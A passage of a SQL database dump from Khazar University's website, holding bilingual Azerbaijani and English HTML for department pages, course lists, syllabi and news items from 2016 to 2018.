1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Kapital\r\n  bazarlarından maliyyələşmə</p>\r\n  </td>\r\n  <td width=\"174\" style=\"\" width:130.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" #c0504d=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Samir\r\n  İsmayılov</p>\r\n  <p>MBND,\r\n  böyük analitik</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"34\">\r\n  <p>2.</p>\r\n  </td>\r\n  <td width=\"234\" style=\"\" width:175.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" #c0504d=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Qiymətləri\r\n  kağızlar bazarında investisiya xidmətləri, risklər və onlara nəzarət</p>\r\n  </td>\r\n  <td width=\"174\" style=\"\" width:130.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" #c0504d=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Ruslan\r\n  Babayev</p>\r\n  <p>MBND,\r\n  böyük analitik</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"34\">\r\n  <p>3.</p>\r\n  </td>\r\n  <td width=\"234\" style=\"\" width:175.15pt;border-top:none;border-left:none;border-bottom:solid=\"\" #c0504d=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Bakı Fond\r\n  Birjasında listinq</p>\r\n  </td>\r\n  <td width=\"174\" style=\"\" width:130.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" #c0504d=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p>Əli\r\n  Orucov</p>\r\n  <p>Biznesin\r\n  inkişafı şöbəsində aparıcı mütəxəssis</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p>&nbsp;</p>\r\n<p>İştirak etmək istəyən tələbələr aşağıda qeyd edilən\r\nlinkə daxil olaraq qeydiyyatdan keçmələri lazımdır. </p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"https://docs.google.com/forms/d/e/1FAIpQLSdgho2IBFX6zHg7m1k6l074JIx-Vc88U_30qQPYN9iWgKLiPA/viewform?usp=sf_link\">https://docs.google.com/forms/d/e/1FAIpQLSdgho2IBFX6zHg7m1k6l074JIx-Vc88U_30qQPYN9iWgKLiPA/viewform?usp=sf_link</a>\r\n</p>  <p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p>12.10.2017-ci ildə<strong> \"Səhiyyə Turizm Seminar\"</strong>-ı keçiriləcək.</p><p><img src=\"/files/eco_depart/poster-sehiyye4-n.jpg\" style=\"width:200px;height:294px;margin-left:7px\"><br></p><p>Aralıq imtahanları 01.11.2017-22.11.2017-ci il tarixlərində keçiriləcək.  <br></p><p><a href=\"http://www.khazar.org/files/economics/a_mid_2017_fall.pdf\">Aralıq imtahanı&nbsp;cədvəli.</a>  <br></p><p><br></p><p><strong>23 Noyabr 2017-ci ildə&nbsp;</strong><strong>P&amp;G şirkətinin Xəzər Universitetinin tələbələri ilə görüşü keçiriləcək. Görüşdə&nbsp;&nbsp;<strong>P&amp;G şirkətində təcrübə proqramları və iş imkanları haqqında məlumatlar veriləcək.</strong></strong></p><p><br></p><p><a href=\"http://www.khazar.org/files/eco_depart/Nargiz%20poster.pdf\">1 Dekabr 2017-ci ildə&nbsp; Mərmər zalda&nbsp;BP şirkətinin işçi heyəti ilə görüş keçiriləcək.</a><strong></strong><strong></strong></p><p><br></p><p><br></p>'),(373,215,'az','Proqramlar','Proqramlar',''),(374,232,'en','History','History','<div><p style=\"text-align:justify\">The Department of&nbsp;<a href=\"http://en.wikipedia.org/wiki/History\"><strong>History</strong></a>&nbsp;and&nbsp;<a href=\"http://en.wikipedia.org/wiki/Archaeology\"><strong>Archaeology</strong></a>&nbsp;was established in Ju­ne&nbsp;<a href=\"http://en.wikipedia.org/wiki/1993\"><strong>1993</strong></a>&nbsp;within\r\nthe&nbsp;<a href=\"http://en.wikipedia.org/wiki/Khazar_University_School_of_Humanities_and_Social_Sciences\" title=\"Khazar University School of Humanities and Social Sciences\"><strong>School of Humanities and Social Sciences</strong></a>&nbsp;at Khazar Uni­versity. The Department is one of\r\nthe first and leading units of&nbsp;<a href=\"http://en.wikipedia.org/wiki/Khazar_University\"><strong>Khazar Uni­versity</strong></a>&nbsp;with wide academic and research\r\ninterests. The De­part­ment is directed by associate professor Roza Arazova.\r\nThe Department was re­named in 2007 as the Department of History and\r\nArchaeology.&nbsp;</p><p style=\"text-align:justify\"><img src=\"/files/history_depart/DSC_2545.jpg\" style=\"border:0px  #000000;width:300px;height:256px;margin:5px;float:right\"><br></p>  <br></div>'),(375,232,'az','Tarixi','Tarixi','<p style=\"text-align:justify\">Tarix və Arxeologiya departamentinin əsası 1993-cü ilin iyununda Xəzər Universitetində Hümanitar və Sosial elmlər fakültəsi ilə birgə qoyulmuşdur. Departament Xəzər Universitetində geniş akademik və tədqiqat maraqları ilə əsas hissə təşkil edir. Departament professor Roza Arazova tərəfindən yönəldilir. Departament 2007-ci ildən “Tarix və Arxeologiya departamenti” adlanır. 2010-cu ildə Təhsil fakültəsində və Tarix və Arxeologiya departamentində yeni – Tarix və coğrafiya, 2013-cü ildən Tarix müəllimliyi ixtisası açılmışdır. Təcrübə (interna) proqramın əsas hissəsinə daxildir və tələbələrə “Dünya məktəbi”ndə və digər məktəblərdə praktika və interna keçmək üçün şərait yaradılır.&nbsp;</p><p style=\"text-align:justify\"> <img src=\"/files/history_depart/DSC_2545.jpg\" style=\"border:0px #000000;width:300px;height:256px;margin:5px;float:right\"><br><br><br><br><br><br><br> <br>  <br></p>'),(4517,2678,'az','AzərTac Xəzər Universiteti Nəşriyyatında çapdan çıxmış kitab haqqında məlumat verdi','2017-ci il noyabrın 29-da Azərbaycan Dövlət İnformasiya Agentliyinin (AzərTAc) rəsmi saytında Xəzər Universiteti Nəşriyyatında...','<p>2017-ci il noyabrın 29-da Azərbaycan Dövlət İnformasiya Agentliyinin (AzərTac) rəsmi saytında Xəzər Universiteti Nəşriyyatında çapdan çıxmış “Dünya dillərində homogen sözlər” (müəllif Baba Məhərrəmli) monoqrafiyası haqqında xəbər yayınlamışdır.</p><p>Xəbəri tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://azertag.az/xeber/Monoqrafiyada_ilk_defe_300_dek_dilin_analoji_soz_kokleri_muqayise_olunub-1116132\">https://azertag.az/xeber/Monoqrafiyada_ilk_defe_300_dek_dilin-analoji_soz_kokleri_muqayise_olunub-1116132</a>.</p>'),(397,244,'en','All programs','All programs','<p><span style=\"text-align:justify\">Department of History and\r\nArchaeology offers undergraduate program in History education.</span></p><p style=\"text-align:justify\"><a href=\"http://www.khazar.org/files/history_depart/2018%20yaz%20sayt%20ucun%20ders%20yuku.pdf\">Bachelor Degree Program in\r\nHistory&nbsp;Education</a></p>'),(6074,3465,'az','I kurs tələbələri muzeydə oldular','2018-ci il sentyabrın 28-də Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının 1-ci il tələbələrinə...','<p>2018-ci il sentyabrın 28-də Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının 1-ci il tələbələrinə Tarix və arxeologiya departamentinin müəllimi Orxan Zamanovun tədris etdiyi arxeologiya fənni AMEA Arxeologiya və Etnoqrafiya İnstitutunun “Muzey-sərgi” zalında keçirildi. Muzeydə keçirilən dərs tələbələr üçün olduqca maraqlı oldu. Dərs zamanı tələbələr onları maraqlandıran məsələlərlə bağlı çoxlu suallar verdilər və qeydlər apardılar.</p>'),(1896,1166,'az','Məzunlar Assosiasiyasının təsis konfransı keçiriləcək','2016-cı il iyunun 4-də Xəzər Universitetinin “Neftçilər” kampusundakı “Mərmər” zalda universitetin Məzunlar Assosiasiyasının təsis konfransı keçiriləcək.','<p>2016-cı il iyunun 4-də Xəzər Universitetinin “Neftçilər” kampusundakı\r\n“Mərmər” zalda universitetin Məzunlar Assosiasiyasının təsis konfransı keçiriləcək.\r\n</p>\r\n<p>Konfrans öz işinə saat 11.00-də başlayacaq. </p>\r\n<p>&nbsp;</p>\r\n<p><strong><em>Təşkilat Komitəsi</em></strong></p>'),(1897,1166,'en','Constituent Assembly of Alumni Association','On June 4, 2016, a Constituent Assembly of the Khazar University Alumni Association will be held in the Marble Hall (Neftchilar Campus).','<p>On\r\nJune 4, 2016, a Constituent Assembly of the\r\nKhazar University Alumni Association will be held in the Marble Hall\r\n(Neftchilar Campus). </p>\r\n<p>The\r\nconference will begin at 11:00. </p>\r\n<p><strong><em>Organizing\r\nCommittee</em></strong></p>\r\n<p>&nbsp;</p>'),(1898,1167,'az','Təsisçi Azərbaycan Radiosunun qonağı oldu','2016-cı il mayın 31-də gecə saat 12:20-dan başlayaraq Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan Radiosunda (FM 105) Nəcibə Bağırzadə ilə “Gecə düşüncə” proqramının qonağı oldu. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil mayın 31-də gecə saat 12:20-dan başlayaraq Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Azərbaycan\r\nRadiosunda (FM 105) Nəcibə Bağırzadə ilə “Gecə düşüncə” proqramının qonağı\r\noldu. Proqramda H.İsaxanlı ilə poetik-fəlsəfi söhbət aparıldı.&nbsp;</p>'),(1899,1167,'en','Founder as Guest on Azerbaijan Radio','On May 31, 2016 beginning at 12:20, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was a guest on the “Gecə düşüncə”','<p>On May 31, 2016 beginning at 12:20, Professor Hamlet\r\nIsaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees, was a guest on the “Gecə düşüncə” (Night Thoughts)\r\nprogram hosted by Najiba Baghirzadeh on Azerbaijan Radio. During the program,\r\nProf. Isaxanli and the hostess had a conversation about poetry and philosophy.&nbsp;</p>'),(1900,1168,'az','SOURCEGRAB.COM proqramlaşdırma saytının təqdimatını keçirdi','2016-cı il mayın 27-də Xəzər Universitetində SourceGrab.com proqramlaşdırma saytının təqdimatı keçirildi. Təqdimatda layihənin ideyası, strukturu barədə qonaqlara məlumat verildi.','<p>2016-cı il mayın 27-də Xəzər Universitetində <strong><em>SourceGrab.com</em>\r\n</strong>proqramlaşdırma saytının təqdimatı keçirildi. Təqdimatda layihənin ideyası,\r\nstrukturu barədə qonaqlara məlumat verildi.</p>\r\n<p>IT sahəsində əsas qaynaqlar ingilis dilində qeyd\r\nolunduğu üçün bu dil daha çox açar dil kimi qəbul olunur. Təbii qəbul\r\nolunmağına baxmayaraq, bu dili bilməmək, bu sahəyə ilk addımlarda mümkün olduğu\r\nqədər çətinlik yaradır. Yeni bir kompüter mühəndisinin öz dilində qaynaq\r\ntapmadığına görə, növbəti addımları atmamasına səbəb olur.</p>\r\n<p>Məhz bu və bunun kimi halların qarşısını almaq üçün\r\n<strong><em>SourceGrab</em></strong> kompüter mühəndislərinin bir arada olmağını təmin edərək,\r\nbildikləri mövzuları öz dilində paylaşmağı təklif edir. Bu təklifi qəbul etmək,\r\nbir neçə yeni mühəndisin, peşəkar mühəndis olmağına yol açmaq, bu elmi öz\r\ndilimizdə inkişaf etdirmək və ixtiraçıların çoxalmasına yol açmaq deməkdir.\r\nYeni, orta və irəli səviyyəli mühəndislər üçün saytda (<a href=\"http://www.sourcegrab.com\">http://www.sourcegrab.com</a>) bu şəraitlər yaradılmışdır:</p>\r\n<p>Depo – Kod, kodlaşdırma, kodlaşdırarkən yaranan\r\nproblemlər haqqında qeyd olunmuş qaynaqlardan təşkil olunur. </p>\r\n<p>Seminar – Kompüter mühəndisliyi sahəsində\r\nixtisasçılar tərəfindən mövzu ətrafına məlumatlandırma və ya tələb olunan\r\nmövzular haqqında seminarlardan təşkil olunur. </p>\r\n<p>Dəsrliklər – İxtisasçılar tərəfindən hər bir\r\nproqramlaşdırma dili tədris olunan bölmə. Saytda <em>html, xml, css, javascript,\r\njquery,php, mysql, java, c#, c/++, d, oracle, python, asp</em> proqramlaşdırma\r\ndilləri mövcuddur. Yeni planlara görə növbəti proqramlaşdırma dilləri əlavə\r\nolunaraq, tədris olunacaq. Əlavə olaraq, öyrənən istifadəçilər mövcud olmayan\r\nmövzuları tələb edə, sual verə və ixtisasçılardan cavab ala biləcəklər.</p>\r\n<p>Layihənin komanda şəklində yaradıldığı və\r\nkomandanın 15 nəfərdən ibarət olduğu qeyd olundu. Bundan başqa, layihənin\r\n30-dan çox üzvü olduğu bildirildi.</p>'),(1901,1168,'en','Presentation of sourcegrab.com Programming Site at Khazar','On May 27, 2016, a presentation of the sourcegrab.com programming site was held at Khazar University. The presentation covered the site’s structure and project idea.','<p>On\r\nMay 27, 2016, a presentation of the sourcegrab.com programming site was held at\r\nKhazar University. The presentation covered the site’s structure and project\r\nidea. </p>\r\n<p>The\r\nobjective of the site is to encourage computer engineers to share what they\r\nknow in their native languages, since most available resources about IT are\r\nonly in English. The site (<a href=\"http://www.sourcegrab.com\">http://www.sourcegrab.com</a>) aims to develop IT knowledge and pave the way for\r\nmore practitioners to become professionals. It includes a depot of resources\r\nexplaining coding and troubleshooting coding problems, a “seminar” section for\r\ntraining in computer engineering, and “textbooks” on programming languages such\r\nas <em>html, xml, css, javascript,\r\njquery,php, mysql, java, c#, c/++, d, oracle, python, </em>and<em> asp. </em></p>\r\n<p>The presentation also included information about\r\nthe project behind the creation of the site, which involved a team of 15 people\r\nas well as over 30 project members.&nbsp;</p>'),(376,233,'az','Elmi-Tədqiqat','Elmi-Tədqiqat','<p style=\"text-align:justify\">Departamentin tədqiqat fəaliyyəti Azərbaycanın keçmiş və müasir tarixinin təhsil və tədqiqatına əsaslanır. Azərbaycanın ibtidai arxeologiyasında əsas hissələrdən biri əkinçilik mədəniyyətinın\r\ntədqiqatıdır. Qabaqcıl metodların müəyyənləşdirilməsi ilə arxeoloji materialların tədqiqatı Yaxın Şərq və ümumi Qafqaz sistemində Azərbaycanın erkən əkinçilik mədəniyyətinin rolunu müəyyənləşdirir. Departamentin ikinci tədqiqat mövzusu Azərbaycan tarixində müasir problemlərin araşdırılmasıdır. Digər bir tədqiqat fəaliyyəti Azərbaycanın xarici siyasətinə və Qarabağ konfliktinin tarixi, mahiyyəti və həlli yollarına əsaslanır. Departament bizim hər bir işi dəstəkləmək və başa çatdırmaq bacarığı ilə tədqiqat fəaliyyəti təşkil edir. Departament\r\nmüxtəlif dərsliklərin və kitabların hazırlanmasında, həmçinin “Azərbaycan tarixinin problemləri və onların müasir ədəbiyyatda əksi”, “XX əsrdə Azərbaycanda\r\nsiyasi və iqtisadi problemləri”, “Qafqazda Sovet totalitarizmi” və “Şah İsmayıl və onun dövrü”, “Azərbaycanda ictimai-siyasi fikir”, “Tarixi kim və necə\r\nyazır?” kimi milli və beynəlxalq konfranslarda təşkil etmişdir. Keçirilmiş konfranslar, materiallar departament tərəfindən hazırlanaraq toplu, məcmua,\r\nkonfrans əsərləri şəklində çap olunmuşdur. Departament həmçinin Universitetin “Elm və Sənət məclisinin” keçirilməsində fəal iştirak edir.&nbsp;</p> <p><br></p><p><a href=\"http://www.khazar.org/files/history_depart/elmi%20movzular.pdf\">Tarix&nbsp;və&nbsp;Arxeologiya&nbsp;Departamentinin&nbsp;elmi&nbsp;mövzuları</a></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Tarix_v%C9%99_Arxeologiya_Departamentinin_elmi_f%C9%99aliyy%C9%99ti_haqda_m%C9%99lumat.pdf\">Tarix və Arxeologiya\r\nDepartamentinin elmi fəaliyyəti haqda məlumat</a></p>'),(377,233,'en','Research','Research','<p style=\"text-align:justify\"><span style=\"text-align:justify\">The Department\r\nof&nbsp;History&nbsp;and&nbsp;Archaeology&nbsp;was established in\r\nJune&nbsp;1993, within the&nbsp;School of Humanities and Social\r\nSciences&nbsp;at Khazar University. Department is one of the first and leading\r\nunits of&nbsp;Khazar University&nbsp;with wide academic and research interests.\r\nThe Department is directed by associate professor Roza Arazova. The name of\r\nDepartment was renamed in 2007 as the Department of History and\r\narchaeology.</span></p><p style=\"text-align:justify\">Research\r\nactivity of Department is based on study and research of ancient and modern\r\nhistory of Azerbaijan. One of the main topics in primitive archaeology of\r\nAzerbaijan is research of farming cultures. Research of archeological material\r\nby progressive methods determines the role of early farming cultures of\r\nAzerbaijan in common system of Caucasus and Near East. The results of this\r\nresearch are used to solve common problems, particularly during the reconstruction\r\nof the ancient economy.\r\nThe\r\nsecond theme of Department research is investigation of modern problems in\r\nAzerbaijani history. This work is based on study and research of the political\r\nand socio-economical situation in Azerbaijan in the 1920s, covering one of the\r\nmost interesting and contradictory periods in Azerbaijan’s history.\r\nAnother\r\nresearch activity is based on Azerbaijani foreign policy and the Karabakh\r\nconflict’s history, essence, and solution process.&nbsp;</p><p style=\"text-align:justify\">The Department has organized\r\nresearch activity through which we are able to support and complement each\r\nother\'s work.\r\nDepartment\r\nstaff participate in creating various education textbook and handbooks and\r\nparticipate in international and national conferences such as “The problems of\r\nAzerbaijani history and their reflection in modern textbooks and research\r\nliterature,” “The social and political thought in Azerbaijan in the XX\r\ncentury,” “The Soviet totalitarianism in the Caucasus,” and “Shah Ismail and\r\nhis epoch.”\r\nThe\r\nDepartment also takes an active part in the organization and work of the\r\npopular and scientific “Assembly of Science and Art.”\r\nOur\r\nresearch culture is also fostered by regular seminars, both formal and\r\ninformal.&nbsp; Members of the department are involved in organizing\r\ninterdisciplinary seminars and lectures and we meet regularly, as historians,\r\nin departmental seminars of our own.&nbsp; There are also several&nbsp;seminar\r\nseries specifically for graduates, and our research students take an active\r\npart in choosing speakers and setting agendas for debate.&nbsp;</p>\r\n<p>Another\r\nmain research activity is publishing the “Azerbaijan Archaeology” journal.</p><p><a href=\"http://www.khazar.org/files/history_depart/elmi%20movzular.pdf\" style=\"text-align:justify\">Scientific themes of History and Archaeology departament</a></p>'),(378,234,'az','Fənlər','Fənlər','<p style=\"text-align:justify\">Departament hər zaman tələbələrin ehtiyaclarına və maraqlarına uyğun fənnlər təşkil edir. Klassik Yunan və Roma sivilizasiyaları tarixi, qədim və orta əsrlər tarixi, həmçinin Asiya, Avropa və Amerika mədəniyyəti, İslam tarixi və Azərbaycan tarixi fənnləri keçirilir, həmçinin, hal-hazırda departament arxeologiya, etnologiya və antropolgiya fənnlərini təklif edir. Tədris olunan kursun üstünlüyü ondan ibarətdir ki, tələbələr bura cəlb edilməklə gələcək inkişaflarını təmin etmiş olurlar.</p><p><strong><em>Təklif olunan fənnlər:</em></strong></p><p><strong><em></em></strong>Xəzər Universiteti</p><p>Təhsil fakültəsi</p><p><a href=\"http://www.khazar.org/files/history_depart/2018%20yaz%20sayt%20ucun%20ders%20yuku.pdf\">Bakalavr üzrə Təhsil proqramı (ixtisas – tarix müəllimliyi)</a></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://www.khazar.org/files/history_depart/ders%20yuku%202018%20payiz.pdf\">Dərs yükü - Payız&nbsp;201</a>8</p>'),(2074,1258,'en','Visiting Instructor from Estonia Completes Mobility at Khazar University within EMBER project','In Spring semester of the current academic year, Khazar University hosted Ms. Marje Mets, a visiting lecturer from Estonia...','<p>In Spring semester of the current academic year, Khazar University hosted Ms. Marje Mets, a visiting lecturer from Estonia, within the framework of the Erasmus Mundus EMBER project.</p>\r\n<p>Ms. Marje Mets is a lecturer at Estonian Maritime Academy that is a part of the Tallinn University of Technology. The subjects she teaches include Management Psychology, General Management, Communication Studies, and Ethics and Etiquette. Marje holds a master\'s degree in Organizational Behavior from Tallinn University. During her mobility at Khazar University, Ms. Mets taught Human Resource Management to bachelor students at the School of Economics and Management. She also conducted a research about adaptation process of international students and instructors.</p>\r\n<p>The EMBER project is a consortium that is comprised of twenty partner higher education institutions and four associated partners from Western/Central/Eastern Europe and South Caucasus. The focus of the project are the fields of economics, business, languages, and sociology. The International Affairs Office coordinates EMBER project at Khazar University.</p>'),(2075,1259,'en','In the newspaper “Azerbaijan Teacher” a page is devoted to QS University rankings','As stated in the university and local media, QS University rankings organized annual ranking of the best universities in Emerging...','<p>As stated\r\nin the university and local media, QS University rankings organized annual\r\nranking of the best universities in Emerging Europe and Central Asia (EECA) for\r\n2016. Khazar University was ranked the 68th, selected as the best university in\r\nAzerbaijan, as well as being chosen as the only university from Azerbailan among\r\nthe 70 higher education institutions in the region. </p>\r\n<p>Other\r\nuniversities from Azerbaijan took the following places: Baku State University -\r\n88th place; Qafqaz University - 89th place; University of Languages- 121-130th\r\nplace; State Economic University of Azerbaijan 150-200th place and; ADA\r\nUniversity 150-200th place.</p><p>\r\nThe body of the Ministry of Education of Azerbaijan\r\n- \"Azerbaijan teacher\" newspaper, dated June 25, 2016, dedicated a\r\nwhole page to this event. The author of the page is Oruj Mustafayev, head of\r\nInternational Relations Department of Editorial Office. In addition to his\r\narticle, a rating list of 100 universities also appeared on the page.</p>'),(2077,1260,'en','The research project will be implemented in the field of exploration and production of oil and gas fields','On 22nd June, 2016, the grant project of the “EILINK” Scientific Research and Development Center in Petroleum Engineering Department at Khazar University...','<p>On 22nd\r\nJune, 2016, the grant project of the “EILINK” Scientific Research and\r\nDevelopment Center in Petroleum Engineering Department at Khazar University, on\r\nthe basis of BP Caspian company order, on the topic “Evaluation of the rock properties\r\nand productivity of the structurally deformed areas based on outcrop and field\r\nanalogues in Azerbaijan” was officially approved by BP Azerbaijan, Georgia and\r\nthe regional company of Turkey. The total duration of the project is considered\r\nto be nine months. The project is dedicated to field studies of geological\r\nsurvey of the outcrops of the Productive Series and evaluation of their\r\ndepositional environments, bedding forms, measurements of porosity and\r\npermeability for studying their reservoir properties in structurally deformed\r\nrocks in steeply dipping limb areas in analogue fields of Azeri-Gunship-Chirag\r\nfields such as the Yasamal Valley (Shubany, Ateshgah, Shabandag), Lokbatan,\r\nPuta-Kushkhana, Korgez-Kiziltepe and Shongar fields outcrops. The gained\r\nfindings will be applied to the well logs and cores, seismic exploration, well\r\ntesting and production data will be used for evaluation productivity of the\r\nDeep Water Guneshli field.&nbsp; The project will be carried out by supervising\r\nand execution of Associate Professor Gasham Zeynalov, head of Petroleum\r\nEngineering department and by execution of Shahriyar Alkhasli, a PhD student at\r\nKhazar University. </p><p>\r\nThe project is intended to be carried out by the\r\ncollaboration of Khazar University and Society of petroleum Engineers of Azerbaijan.</p>'),(2076,1259,'az','“Azərbaycan müəllimi” qəzetində QS reytinqinə səhifə həsr olunub','Xəzər Universiteti və ölkə mediasında xəbər verildiyi kimi, QS təşkilatı tərəfindən 2016-cı il üçün müəyyənləşdirilmiş Avropa və Mərkəzi Asiyanın inkişaf etməkdə olan...','<p>Xəzər Universiteti\r\nvə ölkə mediasında xəbər verildiyi kimi, <strong>QS</strong> təşkilatı tərəfindən\r\n2016-cı il üçün müəyyənləşdirilmiş Avropa və Mərkəzi Asiyanın inkişaf etməkdə\r\nolan 21 ölkəsinin ən yaxşı universitetlərinin reytinq cədvəlində Xəzər\r\nUniversiteti 68-ci yeri tutaraq Azərbaycanın ən yaxşı ali məktəbi seçilməklə\r\nyanaşı, bölgənin ilk 70 ali təhsil müəssisəsi arasında yer almış yeganə Azərbaycan\r\nuniversitetidir. Reytinqə qatılan digər Azərbaycan universitetlərindən – Bakı\r\nDövlət Universiteti 88-ci, Qafqaz Universiteti 89-cu yerdə, Azərbaycan Dillər\r\nUniversiteti 121-130-cu, Azərbaycan Dövlət İqtisadiyyat Universiteti və ADA\r\nUniversiteti isə 150-200-cü yerlər arasında qərarlaşıb.</p>\r\n<p>Azərbaycan Təhsil\r\nNazirliyinin orqanı - “Azərbaycan müəllimi” qəzeti 25 iyun 2016-cı il tarixli\r\nnömrəsində bu hadisəyə bütün bir səhifə həsr etmişdir. Səhifənin müəllifi\r\nredaksiyanın Beynəlxalq əlaqələr şöbəsinin müdiri Oruc Mustafayevdir. Səhifədə\r\nonun məqaləsi ilə yanaşı, 100-dək olan reytinq siyahısı da verilmişdir.</p>'),(379,234,'en','Courses','Courses','<p style=\"text-align:justify\">The Department offers a range of courses designed to meet the needs and interests of students with differing levels of preparation. Currently, the department offers a wide variety of courses – ranging from the histories of classical, Greek, Roman civilizations to the histories of ancient and medieval hu­man societies, of Asian, European and American cultures, Islamic history, and Azerbaijani history as well as courses of archaeology, ethnology, and anth­ropology. By taking advantage of the variety of course offerings, stu­dents can engage in and develop broad perspectives on both the past and the present.</p><p><strong><em>Proposed subjects:</em></strong></p><p>Khazar University</p><p>Education faculty</p><p><a href=\"http://www.khazar.org/files/history_depart/2018%20yaz%20sayt%20ucun%20ders%20yuku.pdf\">Bachelor of Education program&nbsp;(specialty - history teaching)</a></p><p><a href=\"http://www.khazar.org/files/history_depart/ders%20yuku%202018%20payiz.pdf\">Course Load - Fall 2018</a><a href=\"http://www.khazar.org/files/history_depart/ders%20yuku%202018%20yaz.pdf\"></a></p>'),(380,235,'az','Sillabuslar','Sillabuslar','<h2 style=\"text-align:center\"><strong><em>Tarix\r\nvə Arxeologiya Departamenti&nbsp;</em></strong></h2><h2 style=\"text-align:center\"><strong style=\"text-align:center\"><em></em></strong><strong style=\"text-align:center\"><em>2018\r\nPayız</em></strong></h2><h2 style=\"text-align:center\"><strong style=\"text-align:center\"><em></em></strong><strong><em>Sillabus&nbsp;</em></strong></h2><h2 style=\"text-align:center\"><strong><em>&nbsp;<div>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Kod</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Fənn</strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Kredit</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;303</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Ulviyye%20Ibrahimli-%20Az%20tarixi-1.pdf\">Azərbaycan tarixi-1</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;203</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Orxan%20Zamanov%20-%20qedim%20serq%20%20tarixi.pdf\">Sivilizasiya-1</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;394</strong></p>\r\n  </td>\r\n  <td width=\"255\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong><a href=\"http://www.khazar.org/files/history_depart/Telman%20Quliyev%20-Turk%20xalqlari%20tarixi%20m%C3%BCfr%C9%99dat.pdf\">Türk xalqları tarixi-1</a></strong></p>\r\n  </td>\r\n  <td width=\"125\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"179\" style=\"background-color:#ff0066\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>HIST&nbsp;305</strong></p>\r\n  